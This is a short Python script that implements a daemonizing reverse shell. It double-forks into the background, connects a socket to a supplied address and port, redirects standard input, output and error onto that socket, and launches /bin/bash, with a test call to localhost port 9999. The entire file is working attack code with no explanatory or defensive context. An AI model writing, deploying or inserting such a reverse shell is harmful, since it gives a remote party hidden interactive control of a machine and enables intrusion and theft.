import socket, os, sys

def daemonize():
    pid = os.fork()
    if pid > 0:
        sys.exit(0)   # Exit first parent
    pid = os.fork()
    if pid > 0:
        sys.exit(0)   # Exit second parent


def server(addr, port):
    sc = socket.socket()
    sc.connect((addr, port))
    os.dup2(sc.fileno(), 0)
    os.dup2(sc.fileno(), 1)
    os.dup2(sc.fileno(), 2)
    sc.send(b'hello hackers\n')
    os.system("/bin/bash")

## To test it:
daemonize()
server('localhost', 9999)